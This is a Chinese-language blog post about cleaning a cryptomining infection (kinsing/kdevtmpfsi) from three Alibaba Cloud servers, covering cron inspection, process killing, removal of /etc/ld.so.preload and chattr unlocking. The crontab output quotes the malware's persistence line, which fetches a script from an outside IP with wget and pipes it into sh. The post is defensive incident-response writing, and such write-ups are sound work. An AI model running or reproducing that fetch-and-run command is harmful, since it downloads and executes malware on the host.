记录一次阿里云服务器被黑挖矿的事件（top不显示占用CPU进程）

第一台服务器：
首先我们top一下，看top命令有没有被篡改，如果没有的话，就能一下子定位到是哪个进程占用CPU，如下图所示：

从这张图可以看到，PID为25415的进程占用了大量的CPU。
下面我们用ps 命令把它拿出来，如下图所示：

但是我把它杀掉之后，过了一会马上又重启了，一下子恍然大悟，肯定是挂了一个定时脚本，然后一个个开始检查定时任务配置文件：

[root@hadoop1 .ssh]# ls -lrt -d /etc/cron*
drwxr-xr-x. 2 root root 4096 Jun 10  2014 /etc/cron.weekly
-rw-r--r--. 1 root root  451 Jun 10  2014 /etc/crontab
drwxr-xr-x. 2 root root 4096 Jun 10  2014 /etc/cron.monthly
drwxr-xr-x. 2 root root 4096 Jun 10  2014 /etc/cron.hourly
-rw-------. 1 root root    0 Mar 31  2016 /etc/cron.deny
drwxr-xr-x. 2 root root 4096 Aug 18  2017 /etc/cron.daily
drwxr-xr-x. 2 root root 4096 Aug 18  2017 /etc/cron.d

从这里可以看到，在定时任务里面挂了个每分钟执行的定时脚本，好了，现在基本上定位到源头了，我先把定时任务给它干掉。

[root@hadoop1 .ssh]# crontab -l
#* * * * * sh /home/gbase/111.sh
#* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1

然后通过systemct查找进程：（systemct 命令无法输入 可以通过PID之后可以直接进入cd/proc/28990 ls -ial）

杀死进程并删除文件：

kill -9 1341 25415;
rm -rf /var/tmp/kinsing;
rm -rf /tmp/kdevtmpfsi

完了之后，top观察了5分钟，第一台服务器就搞定了。
第二台服务器：

从上图可以看到，第二台服务器貌似要高级一点，竟然在top里面找不到占用CPU的进程，肯定top进程被篡改了，找了一些资料，最后我用htop命令查看，找到了该进程：

然后还是按照之前处理第一台服务器的方法进行处理，这里需要注意的就是，我处理了后过了几分钟进程又起来了，但是top和htop都无法看到。最后我执行了 rm -rf /etc/ld.so.preload 这个命令后，在top里面就显示出来了。
第三台服务器：

有了PID，通过systemct 找到他的服务：（systemct 命令无法输入 可以通过PID之后可以直接进入cd/proc/28990）

从这里可以看到他是在后台挂了一个脚本，既然都知道它的脚本路径，后面的就好处理了。
删除对应的脚本以及文件即可。

总结：以上操作可能会出现root用户都无法删除的情况，那是因为病毒给文件加了锁，通过chattr -i 对应文件就可以解锁然后删除了